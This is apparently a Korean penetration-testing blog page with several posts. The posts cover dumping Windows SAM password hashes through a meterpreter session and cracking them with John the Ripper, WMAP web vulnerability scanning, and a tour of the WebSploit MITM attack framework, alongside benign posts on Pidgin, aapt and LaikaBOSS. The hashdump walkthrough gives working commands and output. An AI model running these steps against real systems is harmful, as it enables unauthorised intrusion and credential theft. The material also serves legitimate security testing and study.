위 예시처럼 꼭 3개의 명령을 넣을 필요는 없습니다. 각자 세팅, 타겟 환경에 맞게 구성하여 사용하시면 조금 더 편리하게 침투가 가능합니다.

Reference Site

https://offensiveinfosec.wordpress.com/tag/autorunscript/
Share: | Coffee Me:

8/13/2015

[METASPLOIT] Metasploit 을 이용한 HashDump 및 Password Crack(John the Ripper)

Metasploit 모듈 중 post/hashdump 와 john(john the ripper)를 통한 hash crack에 대한 이야기를 할까 합니다.
일단 meterpreter 쉘을 target pc 에 주입 및 구동하여 shell 연결을 유지합니다.

meterpreter > ls
Listing: C:\Documents and Settings\LocalService\Cookies
=======================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  16384  fil   2015-08-13 12:28:33 +0900  index.dat

meterpreter >

POST/WINDOWS/GATHER/HASHDUMP 모듈을 이용한 SAM Dump


여기서 공격자는 POST 모듈을 사용하기 위해 metasploit 으로 돌아갑니다.
background 명령을 사용하여 세션은 유지한 채 msf 로 돌아갈 수 있습니다.

meterpreter > background
[*] Backgrounding session 1...
hahwul exploit(handler) #>
hahwul exploit(handler) #>


post 모듈 중 windows 의 hashdump 모듈을 이용하여 SAM 파일 덤프를 뜹니다.

hahwul exploit(handler) #> use post/windows/gather/hashdump 
hahwul post(hashdump) #> set session 1 
session => 1
hahwul post(hashdump) #> run

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY cbda43cfe588e98549abf078ee086266...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:21ac9e2845f703fd49d14b2205b6cafe:658865617e824fc4be4ecd78969e89f4:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ed4d8906fe997c250615fd2c9cac861c:::


[*] Post module execution completed

JOHN THE RIPPER 모듈을 이용한 PASSWORD CRACK


dump 된 파일이 메모리에 머무르고 있기 때문에 바로 john the ripper 모듈과 연동이 가능합니다.
jtr 모듈 로드 후 바로 run 해줍니다.

hahwul post(hashdump) #> use auxiliary/analyze/jtr_crack_fast
hahwul auxiliary(jtr_crack_fast) #> run

[*] Wordlist file written out to /tmp/jtrtmp20150813-12465-1bewq4x
[*] Hashes Written out to /tmp/hashes_tmp20150813-12465-130ap5v
[*] Cracking lm hashes in normal wordlist mode...
guesses: 0  time: 0:00:00:00 DONE (Thu Aug 13 14:14:32 2015)  c/s: 4630K  trying: ZITHER - TUDE
[*] Loaded 3 password hashes with no different salts (LM DES [128/128 BS SSE2-16])
[*] Cracking lm hashes in single mode...
guesses: 0  time: 0:00:00:06 DONE (Thu Aug 13 14:14:38 2015)  c/s: 7793K  trying: YB1900 - E1900
[*] Loaded 3 password hashes with no different salts (LM DES [128/128 BS SSE2-16])
[*] Cracking lm hashes in incremental mode (All4)...
Warning: mixed-case charset, but the current hash type is case-insensitive;
some candidate passwords may be unnecessarily tried more than once.
guesses: 1  time: 0:00:00:03 DONE (Thu Aug 13 14:14:41 2015)  c/s: 47858K  trying: ||V} - |||}
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
[*] Loaded 3 password hashes with no different salts (LM DES [128/128 BS SSE2-16])
[*]                  (guest)
[*] Cracking lm hashes in incremental mode (Digits)...
Warning: MaxLen = 8 is too large for the current hash type, reduced to 7
guesses: 0  time: 0:00:00:00 DONE (Thu Aug 13 14:14:42 2015)  c/s: 38986K  trying: 9196448 - 9196495
[*] Loaded 3 password hashes with no different salts (LM DES [128/128 BS SSE2-16])
[*] Remaining 2 password hashes with no different salts
[*] Cracked Passwords this run:
[+] guest::2
[+] administrator::1
[+] guest::2
[+] administrator::1
[*] Cracking nt hashes in normal wordlist mode...
guesses: 0  time: 0:00:00:00 DONE (Thu Aug 13 14:14:42 2015)  c/s: 9719K  trying: z - tude
[*] Loaded 3 password hashes with no different salts (NT MD4 [128/128 X2 SSE2-16])
[*] Cracking nt hashes in single mode...
guesses: 0  time: 0:00:00:13 DONE (Thu Aug 13 14:14:56 2015)  c/s: 17243K  trying: zwelithini1900 - tude1900
[*] Loaded 3 password hashes with no different salts (NT MD4 [128/128 X2 SSE2-16])
[*] Cracking nt hashes in incremental mode (Digits)...
guesses: 0  time: 0:00:00:03 DONE (Thu Aug 13 14:14:59 2015)  c/s: 88888K  trying: 83536787 - 83536784
[*] Loaded 3 password hashes with no different salts (NT MD4 [128/128 X2 SSE2-16])
[*] Cracked Passwords this run:
[*] Auxiliary module execution completed


별다른 정보가 나오지는 않았지만, Crack 이 된다면 아래와 같은 형태의 메시지를 받을 수 있습니다.
[+] Cracked: Guest: 
[+] Cracked: TESTAAA:password 

물론 직접 john 을 설치하여 crack도 가능하지만, metasploit 을 사용하여 테스트 시 위와 같은 방법이 더 편할거라 생각됩니다. :)
Share: | Coffee Me:

8/12/2015

[DEBIAN] Pidgin(on Debian) 에서 Facebook 사용하기

리눅스에서 사용할 수 있는 메신저 종류 중 유명한 pidgin 에 대한 이야기입니다.
pidgin은 여러 메신저를 통합하여 사용할 수 있고, facebook, nateon 등을 지원하기 때문에 국내 리눅서도 많이 사용하는 것으로 생각됩니다.

pidgin 사용을 위해 설정하는 중 debian os 의 간단한 이슈가 있어 해결하는 방법을 공유할까합니다.

일반적으로 리눅스 설치 시 기본적으로 내포되어 있는 경우가 있으며 apt, yum, compile 등을 통해 쉽게 설치가 가능합니다.

Pidgin 에서 Facebook 사용하기

piding 실행 시 등록된 계정이 없거나, 메뉴에서 Account > Manage Account 를 들어가면 계정 등록 창이 나타납니다.
여기서 Facebook 선택 후 아래와 같이 Options 을 세팅합니다.

Login Options
 Protocal : Facebook
 Username : 페이스북 프로필 주소의 사용자 이름  #로그인 이메일이 아닙니다. www.facebook.com/{여기 들어가는 프로필}
 Domain : chat.facebook.com
 Resource : 
 Password : 사용하시는 Facebook Password
User Options
 Local alias : Nickname

설정 후 pidgin 을 재 실행 시 자동으로 페이스북 친구들이 동기화 됩니다.
Debian 7.0에서는 Facebook 연동 과정 중 이슈가 있어.. 해결하는 과정 아래 포함하였습니다.

Debian 7.0에서 사용 시 Facebook 연동 이슈 / 해결

이 문제가 전체적으로 발생하는지는 잘 모르겠습니다만.. 기본으로 제공하는 Facebook(XMPP)로는 정상적으로 사용이 불가능한 경우가 있었습니다.
opensuse에서 제공하는 purple-facebook를 설치하여 사용할 수 있도록 변경이 가능합니다.

일단 opensuse.org에서 제공하는 purple-facebook 파일을 다운로드 받습니다.

Download Page
http://download.opensuse.org/repositories/home:/jgeboski/ 

위 페이지에서 OS 버전에 맞는 파일 선택 후 다운로드 받습니다.

or

debian 7 download link(opensuse.org)
# wget http://downloadcontent.opensuse.org/repositories/home:/jgeboski/Debian_7.0/purple-facebook_20150811~635a32f~3d30d24fdbef~9.tar.gz


받은 파일을 압축해제 합니다.
tar -xvf purple-facebook_20150811~635a32f~3d30d24fdbef~9.tar.gz

souce 디렉토리로 이동하여 configure ; make ; make install 을 수행합니다.
# cd souce
# ./configure

configure 과정 중 에러가 발생할 수 있습니다.
패키지가 부족한 사항인데요, 각 os 패키지 명령으로 모자란 패키지를 설치합니다.
Issue1
configure: error: Package requirements (json-glib-1.0 >= 0.14.0) were not met:
No package 'json-glib-1.0' found

# apt-get install libjson-glib-dev

Issue2
checking for PURPLE... no
configure: error: Package requirements (purple        <  3) were not met:
No package 'purple' found

# apt-get install libpurple-dev

이슈가 없거나, 해결 후 make 명령을 통해 빌드/컴파일합니다.

# make
# make install

pidgin 오픈 후 facebook 으로 등록하면 처음과는 다르게 ID/PW 입력 창만 나옵니다.

Username : 페이스북 프로필 주소의 사용자 이름  #로그인 이메일이 아닙니다. www.facebook.com/{여기 들어가는 프로필}
Password : 페이스북 패스워드

pidgin 재 부팅 시 facebook에 정상적으로 로그인되며, 친구리스트를 불러와 채팅이 가능해집니다.

Share: | Coffee Me:

8/11/2015

[METASPLOIT] Metasploit 에서의 WMAP 모듈 로드 및 사용/스캔(Web Vulnerability Scan on MSF-WMAP)

Metasploit 은 침투(공겪)을 위한 프레임워크 중 가장 마음에 드는 프레임워크입니다.
이번에는 Metasploit 에서 로드 할 수 있는 기능 중 wmap 에 대해서 이야기를 풀어나가겠습니다.

wmap 은 SQLMap에서 파생된 도구이며, 유사한 형태로 Web Application 에 대한 취약점 점검을 수행할 수 있습니다.
Metasploit 에서도 Module 형태로 지원하며, 서로 host 및 vulnerability 정보를 연동하여 강력하게 사용이 가능합니다.

Metasploit 에서 WMAP 사용하기(Using WMAP, Metasploit)


일단 msf 에서 load 명령을 통해 wmap 을 로드합니다.
hahwul auxiliary(ssl_version) #> load wmap

.-.-.-..-.-.-..---..---.
| | | || | | || | || |-'
`-----'`-'-'-'`-^-'`-'
[WMAP 1.5.1] ===  et [  ] metasploit.com 2012

help 를 확인해가시면서 진행하시면 도움이 많이 될 것입니다.
wmap_sites 의 -a 옵션을 이용해 target site 를 지정합니다.

hahwul auxiliary(ssl_version) #> wmap_sites -a TARGETURL
[*] Site created.

지정 후 -l 옵션을 통해 리스트 확인 시 만들어놓은 target 사이트 리스트가 확인됩니다.

hahwul auxiliary(ssl_version) #> wmap_sites -l
[*] Available sites
===============

     Id  Host             Vhost            Port  Proto  # Pages  # Forms
     --  ----             -----            ----  -----  -------  -------
     0   xxx.xxx.xxx.xxx  xxx.xxx.xxx.xxx  80    http   0        0
     1   xxx.xxx.xxx.xxx  xxx.xxx.xxx.xxx  443   https  0        0
     2   xxx.xxx.xxx.xxx  xxx.xxx.xxx.xxx  443   https  0        0

wmap_targets 은 실제로 테스트가 이루어질 URI를 지정하는 곳 입니다.
URL 형태로 기입하며 아래 -t 옵션을 통해 세팅이 가능합니다.

hahwul auxiliary(ssl_version) #> wmap_targets -t http://xxx.xxx.xxx.xxx/TARGETURI
hahwul auxiliary(ssl_version) #> wmap_targets -d 0      
hahwul auxiliary(ssl_version) #> wmap_targets -l

[*] Defined targets
===============

     Id  Vhost            Host             Port  SSL    Path
     --  -----            ----             ----  ---    ----
     0   xxx.xxx.xxx.xxx  xxx.xxx.xxx.xxx  80    false   /TARGETURI
     1   xxx.xxx.xxx.xxx  xxx.xxx.xxx.xxx  80    false   /TARGETURI2
     2   xxx.xxx.xxx.xxx  xxx.xxx.xxx.xxx  80    false   /TARGETURI3

실제 수행 전 간단하게 test 를 진행할 수 있는 -t 옵션을 통해 원격 시스템에 대해 검사합니다.

hahwul auxiliary(ssl_version) #> wmap_run -t

[*] Testing target:
[*] Site: xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx)
[*] Port: 80 SSL: false
============================================================
[*] Testing started. 2015-08-11 17:02:26 +0900
[*] Loading wmap modules...
[*] 39 wmap enabled modules loaded.
[*]
=[ SSL testing ]=
============================================================
[*] Target is not SSL. SSL modules disabled.
[*]
=[ Web Server testing ]=
============================================================
[*] Module auxiliary/scanner/http/http_version
[*] Module auxiliary/scanner/http/open_proxy
[*] Module auxiliary/scanner/http/robots_txt
[*] Module auxiliary/scanner/http/frontpage_login
[*] Module auxiliary/admin/http/tomcat_administration
[*] Module auxiliary/admin/http/tomcat_utf8_traversal
[*] Module auxiliary/scanner/http/options
[*] Module auxiliary/scanner/http/drupal_views_user_enu
.....snip...

-e 옵션을 통해 테스팅이 가능합니다.
hahwul auxiliary(ssl_version) #> wmap_run -e

...snip...
=[ Web Server testing ]=
============================================================
[*] Module auxiliary/scanner/http/http_version
[*] xxx.xxx.xxx.xxx:80 Microsoft-HTTPAPI/2.0
[*] Module auxiliary/scanner/http/open_proxy
[*] Module auxiliary/scanner/http/robots_txt
[*] Module auxiliary/scanner/http/frontpage_login
[*] http://xxx.xxx.xxx.xxx/ may not support FrontPage Server Extensions
[*] Module auxiliary/admin/http/tomcat_administration
[*] Module auxiliary/admin/http/tomcat_utf8_traversal
[*] Attempting to connect to xxx.xxx.xxx.xxx:80
[+] No File(s) found

..snip..



wmap 을 통해 발견된 취약점이 있다면 metasploit db 에 저장이되고, vulns 명령을 통해 확인할 수 있습니다.

hahwul auxiliary(ssl_version) #> vulns
[*] Time: 2015-08-11 07:00:53 UTC Vuln: host=xxx.xxx.xxx.xxx name=HTTP SSL/TLS Version Detection (POODLE scanner) refs=URL-http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html,OSVDB-113251,CVE-2014-3566
[*] Time: 2015-08-11 07:00:54 UTC Vuln: host=xxx.xxx.xxx.xxx name=HTTP SSL/TLS Version Detection (POODLE scanner) refs=URL-http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html,OSVDB-113251,CVE-2014-3566



Share: | Coffee Me:

[Android] aapt 를 이용하여 AndroidManifest.xml 및 퍼미션(perm) 확인하기(malware analysis)

안드로이드 APK 분석은 안드로이드 개발도구부터, 보안툴까지 여러가지 도구로 분석하게 됩니다. 이 중 aapt를 이용하여 퍼미션 정보만 확인하는법에 대해 간단히 작성합니다.

aapt 는 android 패키징,언패키징,서명 등을 위해 주로 사용되는 도구이며 옵션을 활용하여 AndroidMenifest.xml 파일에 대해 확인이 가능합니다.

옵션 확인 시 굉장히 많은 기능을 담고 있다는 것을 알 수 있습니다.
(길이가 길어 하단에 따로 기록하였습니다.)

AAPT를 이용한 Android 퍼미션(Perm), AndroidMenifest.xml 확인

aapt 명령 중 dump 와 badging 옵션을 이용하여 쉽게 AndroidMenifest.xml 확인이 가능합니다.

# aapt dump badging target.apk
를 하였을 때 AndroidMenifest.xml 파일을 읽어오게 됩니다.

여기서 우리는 grep(linux) 이나 findstr(windows)를 통해 필요한 부분에 대해 확인을 할 수 있습니다.

Linux
# aapt dump badging target.apk | grep perm


Windows:
# aapt dump badging target.apk | findstr perm


Result
# aapt dump badging target.apk | grep perm
uses-permission: 'android.permission.INTERNET'


AAPT Options

Android Asset Packaging Tool

Usage:
 aapt l[ist] [-v] [-a] file.{zip,jar,apk}
   List contents of Zip-compatible archive.

 aapt d[ump] [--values] [--include-meta-data] WHAT file.{apk} [asset [asset ...]]
   strings          Print the contents of the resource table string pool in the APK.
   badging          Print the label and icon for the app declared in APK.
   permissions      Print the permissions from the APK.
   resources        Print the resource table from the APK.
   configurations   Print the configurations in the APK.
   xmltree          Print the compiled xmls in the given assets.
   xmlstrings       Print the strings of the given compiled xml assets.

 aapt p[ackage] [-d][-f][-m][-u][-v][-x][-z][-M AndroidManifest.xml] \
        [-0 extension [-0 extension ...]] [-g tolerance] [-j jarfile] \
        [--debug-mode] [--min-sdk-version VAL] [--target-sdk-version VAL] \
        [--app-version VAL] [--app-version-name TEXT] [--custom-package VAL] \
        [--rename-manifest-package PACKAGE] \
        [--rename-instrumentation-target-package PACKAGE] \
        [--utf16] [--auto-add-overlay] \
        [--max-res-version VAL] \
        [-I base-package [-I base-package ...]] \
        [-A asset-source-dir]  [-G class-list-file] [-P public-definitions-file] \
        [-S resource-sources [-S resource-sources ...]] \
        [-F apk-file] [-J R-file-dir] \
        [--product product1,product2,...] \
        [-c CONFIGS] [--preferred-configurations CONFIGS] \
        [--split CONFIGS [--split CONFIGS]] \
        [--feature-of package [--feature-after package]] \
        [raw-files-dir [raw-files-dir] ...] \
        [--output-text-symbols DIR]

   Package the android resources.  It will read assets and resources that are
   supplied with the -M -A -S or raw-files-dir arguments.  The -J -P -F and -R
   options control which files are output.

 aapt r[emove] [-v] file.{zip,jar,apk} file1 [file2 ...]
   Delete specified files from Zip-compatible archive.

 aapt a[dd] [-v] file.{zip,jar,apk} file1 [file2 ...]
   Add specified files to Zip-compatible archive.

 aapt c[runch] [-v] -S resource-sources ... -C output-folder ...
   Do PNG preprocessing on one or several resource folders
   and store the results in the output folder.

 aapt s[ingleCrunch] [-v] -i input-file -o outputfile
   Do PNG preprocessing on a single file.

 aapt v[ersion]
   Print program version.

 Modifiers:
   -a  print Android-specific data (resources, manifest) when listing
   -c  specify which configurations to include.  The default is all
       configurations.  The value of the parameter should be a comma
       separated list of configuration values.  Locales should be specified
       as either a language or language-region pair.  Some examples:
            en
            port,en
            port,land,en_US
   -d  one or more device assets to include, separated by commas
   -f  force overwrite of existing files
   -g  specify a pixel tolerance to force images to grayscale, default 0
   -j  specify a jar or zip file containing classes to include
   -k  junk path of file(s) added
   -m  make package directories under location specified by -J
   -u  update existing packages (add new, replace older, remove deleted files)
   -v  verbose output
   -x  create extending (non-application) resource IDs
   -z  require localization of resource attributes marked with
       localization="suggested"
   -A  additional directory in which to find raw asset files
   -G  A file to output proguard options into.
   -F  specify the apk file to output
   -I  add an existing package to base include set
   -J  specify where to output R.java resource constant definitions
   -M  specify full path to AndroidManifest.xml to include in zip
   -P  specify where to output public resource definitions
   -S  directory in which to find resources.  Multiple directories will be scanned
       and the first match found (left to right) will take precedence.
   -0  specifies an additional extension for which such files will not
       be stored compressed in the .apk.  An empty string means to not
       compress any files at all.
   --debug-mode
       inserts android:debuggable="true" in to the application node of the
       manifest, making the application debuggable even on production devices.
   --include-meta-data
       when used with "dump badging" also includes meta-data tags.
   --pseudo-localize
       generate resources for pseudo-locales (en-XA and ar-XB).
   --min-sdk-version
       inserts android:minSdkVersion in to manifest.  If the version is 7 or
       higher, the default encoding for resources will be in UTF-8.
   --target-sdk-version
       inserts android:targetSdkVersion in to manifest.
   --max-res-version
       ignores versioned resource directories above the given value.
   --values
       when used with "dump resources" also includes resource values.
   --version-code
       inserts android:versionCode in to manifest.
   --version-name
       inserts android:versionName in to manifest.
   --replace-version
       If --version-code and/or --version-name are specified, these
       values will replace any value already in the manifest. By
       default, nothing is changed if the manifest already defines
       these attributes.
   --custom-package
       generates R.java into a different package.
   --extra-packages
       generate R.java for libraries. Separate libraries with ':'.
   --generate-dependencies
       generate dependency files in the same directories for R.java and resource package
   --auto-add-overlay
       Automatically add resources that are only in overlays.
   --preferred-density
       Specifies a preference for a particular density. Resources that do not
       match this density and have variants that are a closer match are removed.
   --split
       Builds a separate split APK for the configurations listed. This can
       be loaded alongside the base APK at runtime.
   --feature-of
       Builds a split APK that is a feature of the apk specified here. Resources
       in the base APK can be referenced from the the feature APK.
   --feature-after
       An app can have multiple Feature Split APKs which must be totally ordered.
       If --feature-of is specified, this flag specifies which Feature Split APK
       comes before this one. The first Feature Split APK should not define
       anything here.
   --rename-manifest-package
       Rewrite the manifest so that its package name is the package name
       given here.  Relative class names (for example .Foo) will be
       changed to absolute names with the old package so that the code
       does not need to change.
   --rename-instrumentation-target-package
       Rewrite the manifest so that all of its instrumentation
       components target the given package.  Useful when used in
       conjunction with --rename-manifest-package to fix tests against
       a package that has been renamed.
   --product
       Specifies which variant to choose for strings that have
       product variants
   --utf16
       changes default encoding for resources to UTF-16.  Only useful when API
       level is set to 7 or higher where the default encoding is UTF-8.
   --non-constant-id
       Make the resources ID non constant. This is required to make an R java class
       that does not contain the final value but is used to make reusable compiled
       libraries that need to access resources.
   --shared-lib
       Make a shared library resource package that can be loaded by an application
       at runtime to access the libraries resources. Implies --non-constant-id.
   --error-on-failed-insert
       Forces aapt to return an error if it fails to insert values into the manifest
       with --debug-mode, --min-sdk-version, --target-sdk-version --version-code
       and --version-name.
       Insertion typically fails if the manifest already defines the attribute.
   --error-on-missing-config-entry
       Forces aapt to return an error if it fails to find an entry for a configuration.
   --output-text-symbols
       Generates a text file containing the resource symbols of the R class in the
       specified folder.
   --ignore-assets
       Assets to be ignored. Default pattern is:
       !.svn:!.git:!.ds_store:!*.scc:.*:<dir>_*:!CVS:!thumbs.db:!picasa.ini:!*~
Share: | Coffee Me:

[LAIKABOSS]록히드마틴(Lockheed Martin)의 라이커보스(LAIKABOSS) 설치 및 사용/간단분석

최근 우주항공 및 방위산업체인 록히드 마틴(Lockheed Martin)사에서 악성코드 분석도구인 라이커보스(LaikaBOSS)를 오픈소스로 공개하였습니다. 이 툴은 록히드 마틴에서 3년 동안 사용된 툴이며 멀웨어 분석 시 유용하다고 합니다.



이 기사를 본 후 저는 바로 github 주소를 찾아 따로 메모해두었고, 간단하게 설치하여 동작을 확인할 수 있었습니다.

관련하여 록히드 마틴에서 제공하는 문서 주소는 아래와 같습니다.

http://lockheedmartin.com/content/dam/lockheed/data/isgs/documents/LaikaBOSS%20Whitepaper.pdf

LAIKABOSS 설치하기(Install LAIKABOSS)

라이커보스는 오픈소스로 공개되었으며 github를 통해 쉽게 다운로드가 가능합니다.

https://github.com/lmco/ 하위에 있습니다.

git clone 명령을 통해 clone 을 생성합니다.

# git clone https://github.com/lmco/laikaboss.git
(git이 설치되지 않았다면, apt-get 이나 yum을 통해 설치하시면 됩니다.)

해당 프레임워크는 ubuntu 기준으로 개발된 듯 합니다. 패키지가 우분투에서 제공하는 패키지이며, apt로 쉽게 설치가 가능합니다. (데비안에서는 의존성이 좀 걸리는듯합니다. 패키지가 없는것도 있구요..)

# apt-get install yara python-yara python-progressbar
# pip install interruptingcow
# apt-get install libzmq3 python-zmq python-gevent python-pexpect
# apt-get install python-ipy python-m2crypto python-pefile python-pyclamd liblzma5 # libimage-exiftool-perl python-msgpack libfuzzy-dev python-cffi python-dev unrar
# pip install fluent-logger olefile ssdeep py-unrar2 pylzma
# wget https://github.com/smarnach/pyexiftool/archive/master.zip
# unzip master.zip
# cd pyexiftool-master
# python setup.py build
# python setup.py install
# apt-get install jq

한줄명령(One line command)
apt-get install yara python-yara python-progressbar;pip install interruptingcow;apt-get install libzmq3 python-zmq python-gevent python-pexpect
apt-get install python-ipy python-m2crypto python-pefile python-pyclamd liblzma5 libimage-exiftool-perl python-msgpack libfuzzy-dev python-cffi python-dev unrar;
pip install fluent-logger olefile ssdeep py-unrar2 pylzma;wget https://github.com/smarnach/pyexiftool/archive/master.zip;unzip master.zip;cd pyexiftool-master;python setup.py build;python setup.py install;apt-get install jq;

이로써 설치가 완료되었습니다. laika 디렉토리 하위에 python 코드가 있습니다.

LAIKABOSS 실행 및 사용(Using LAIKABOSS)

일단 가이드가 될만한 문서를 아직 못찾았기 때문에 상세한 사용방법은 연구가 필요할 것 같습니다.
크게 3개의 파일로 나눠서 볼 수 있겠네요.

laika.py
입력한 파일에 대해 스캔 후 Report 를 제공합니다.
라이카보스의 핵심이며 객체모델 및 디스패치 로직을 포함하고 있습니다.


laikad.py
라이카보스를 데몬 형태로 돌립니다. 네트워크 서비스로 라이카 실행를 실행합니다.(서비스 or 데몬)

cloudscan.py
laikad가 실행중인 서버에 분석한 파일을 전송하는 명령입니다.

Command
# python laika.py  laika.py  | jq '.scan_result[] | { "file type" : .fileType, "flags" : .flags, "md5" : .objectHash }'
100%[###################################] Processed: 1/1 total files (Elapsed Time: 0:00:00) Time: 0:00:00
{
  "md5": "6305070a0e4ee027703528f2aa9efaa2",
  "flags": [
    "yr:suspicious_sig_1"
  ],
  "file type": []
}

laika.py 를 이용해 파일에 대한 분석이 가능합니다. jq 를 이용하여 보기 쉽게 파싱한 결과입니다.


대충 다른 Exe 파일(msf 로 생성)도 돌려봤는데. 확실히 데이터 양이 늘어나긴하네요..
jq를 이용해 파싱해서 분리하는게 보기 좋을듯합니다.

jq를 통해 파싱 처리

100%[#########################################################] Processed: 1/1 total files (Elapsed Time: 0:00:00) Time: 0:00:00
{
  "md5": "ebe65da1fdbdbd8729808974216f5c4b",
  "flags": [],
  "file type": [
    "pe"
  ]
}


록히드마틴이 제공한 명령 예시에 laikad와 cloudscan을 이용한 분석이 있습니다.

$ ./laikad.py

$ ./cloudscan.py ~/test_files/testfile.cws.swf | jq '.scan_result[] | { "file type" : .fileType, "flags" : .flags, "md5" : .objectHash }'
{
  "md5": "dffcc2464911077d8ecd352f3d611ecc",
  "flags": [],
  "file type": [
    "cws",
    "swf"
  ]
}
{
  "md5": "587c8ac651011bc23ecefecd4c253cd4",
  "flags": [],
  "file type": [
    "fws",
    "swf"
  ]
}

laikad.py 를 실행하여 서버 실행 후 cloudscan을 이용하여 swf 파일을 분석하여 서버에 업로드한 것 같습니다.

라이커보스의 장점은 세밀한 모듈화라고 합니다. 여러개의 모듈들이 각각의 분석을 진행하는 형태이고, 모듈을 만들고 관리하는 법이 쉽다고 합니다. 분석 스타일에 맞게 모듈을 추가하고 세분화 한다면 굉장히 좋은 툴이라고 생각됩니다.
Share: | Coffee Me:

8/10/2015

[HACKING] WEBSPLOIT - MITM Attack Framework 설치 및 사용

Install WEBSPLOIT

git clone https://github.com/websploit/websploit.git

file list
COPYING.GPL  LICENCE  README.txt  core  modules  websploit  wsf-update.py

WEBSPLOIT 은 아래와 같은 기능을 수행합니다.

    Autopwn – Used From Metasploit For Scan and Exploit Target Service
    wmap – Scan, Crawler Target Used From Metasploit wmap Plugin
    format infector – inject reverse & bind payload into file format
    phpmyadmin – Search Target phpmyadmin login page
    lfi – Scan, Bypass local file inclusion Vulnerability & can be bypass some WAF
    apache users – search server username directory (if use from apache webserver)
    Dir Bruter – brute target directory with wordlist
    admin finder – search admin & login page of target
    MLITM Attack – Man Left In The Middle, XSS Phishing Attacks
    MITM – Man In The Middle Attack
    Java Applet Attack – Java Signed Applet Attack
    MFOD Attack Vector – Middle Finger Of Doom Attack Vector
    USB Infection Attack – Create Executable Backdoor For Infect USB For Windows

Autopwn, wmap 사용에 관심을 가질 수 있겠네요.


Using WEBSPLOIT


사용 전 간단하게 업데이트를 진행하였습니다. 내부 파일 중 wsf-update.py 파이썬 파일을 실행합니다.
# python wsf-update.py
[*]Updating Websploit framework, Please Wait ...
[*]Update was completed successfully.

websploit 실행파일을 실행하게 되면 아래와 같이 로고가 나타나며 간단한 정보들이 나타납니다.
# ./websploit
 __      __          __                      ___               __
/\ \  __/\ \        /\ \                    /\_ \           __/\ \__
\ \ \/\ \ \ \     __\ \ \____    ____  _____\//\ \     ___ /\_\ \ ,_\
 \ \ \ \ \ \ \  /'__`\ \ '__`\  /',__\/\ '__`\\ \ \   / __`\/\ \ \ \/
  \ \ \_/ \_\ \/\  __/\ \ \L\ \/\__, `\ \ \L\ \\_\ \_/\ \L\ \ \ \ \ \_
   \ `\___x___/\ \____\\ \_,__/\/\____/\ \ ,__//\____\ \____/\ \_\ \__\
    '\/__//__/  \/____/ \/___/  \/___/  \ \ \/ \/____/\/___/  \/_/\/__/
                                         \ \_\
                                          \/_/

--=[WebSploit Advanced MITM Framework
+---**---==[Version :3.0.0
+---**---==[Codename :Katana
+---**---==[Available Modules : 20
--=[Update Date : [r3.0.0-000 20.9.2014]


wsf >

모든 툴은 help 로 부터 시작됩니다. 확인해봅시다.
Metasploit 과 비슷한 형태의 명령 구조를 가지고 있습니다.
wsf > help


Commands Description
--------------- ----------------
set Set Value Of Options To Modules
scan Scan Wifi (Wireless Modules)
stop Stop Attack & Scan (Wireless Modules)
run Execute Module
use Select Module For Use
os Run Linux Commands(ex : os ifconfig)
back Exit Current Module
show modules Show Modules of Current Database
show options Show Current Options Of Selected Module
upgrade Get New Version
update Update Websploit Framework
about About US


show modules 를 통해 모듈 리스트를 확인할 수 있습니다.
생각보다 양이 많이 적어서 놀랬네요..
wsf > show modules

Web Modules Description
------------------- ---------------------
web/apache_users Scan Directory Of Apache Users
web/dir_scanner Directory Scanner
web/wmap Information Gathering From Victim Web Using (Metasploit Wmap)
web/pma PHPMyAdmin Login Page Scanner
web/cloudflare_resolver CloudFlare Resolver


Network Modules Description
------------------- ---------------------
network/arp_dos ARP Cache Denial Of Service Attack
network/mfod Middle Finger Of Doom Attack
network/mitm Man In The Middle Attack
network/mlitm Man Left In The Middle Attack
network/webkiller TCP Kill Attack
network/fakeupdate Fake Update Attack Using DNS Spoof
network/arp_poisoner Arp Poisoner


Exploit Modules Description
------------------- ---------------------
exploit/autopwn Metasploit Autopwn Service
exploit/browser_autopwn Metasploit Browser Autopwn Service
exploit/java_applet Java Applet Attack (Using HTML)


Wireless / Bluetooth Modules Description
------------------- ---------------------
wifi/wifi_jammer Wifi Jammer
wifi/wifi_dos Wifi Dos Attack
wifi/wifi_honeypot Wireless Honeypot(Fake AP)
wifi/mass_deauth Mass Deauthentication Attack
bluetooth/bluetooth_pod Bluetooth Ping Of Death Attack


MSF와 동일하게 use 명령을 통해 모듈을 로드하고 show options 으로 확인이 가능합니다.
정보 세팅 후 run 이나 scan 을 통해 실행하시면 잘 돌아갑니다.
wsf > use web/wmap
wsf:Wmap >
Wrong Command =>
wsf:Wmap > show options

Options Value RQ Description
--------- -------------- ---- --------------
TARGET 192.168.1.1 yes Target IP Address

wsf:Wmap >
wsf:Wmap > set TARGET 127.0.0.1
TARGET =>  127.0.0.1
wsf:Wmap > run

websploit 이라고 하여 웹사이트 진단 시 번거로운 부분들(크롤링, 사이트 파악 등등)에 대해서 어느정도 해결할 수 있을까 하여 봤지만.. 생각보다는 적은 모듈로 약간 아쉬움이 남습니다.. 물론 autopwn, wmap 등 좋은 모듈의 연계성을 고려하면 여러가지 기능을 탐재하여 강력한 도구를 사용이 가능할 것이라는 생각도 들었습니다.
(물론.. msf 에 필요한 부분은 직접 코딩하여 넣는일이 다반수지만요..)

상세한 분석보다는 간단한 공격 수행에 유용할 것으로 생각되네요~

Share: | Coffee Me:

8/07/2015

[WEB HACKING] PHP Injection(code injection) 및 공격자 분석(Attack/Check Point/after Action)

이번에는 자주 발생하지는 않지만 강력한 위력을 가진 code injection(server-side injection)에 대한 이야기를 풀어나갈까 합니다.

대체로 php injection 으로 많이 알려져 있으며, 여러가지 웹 언어에서 동작이 가능한 공격방법입니다.

Code Injection(PHP Injection)이란?

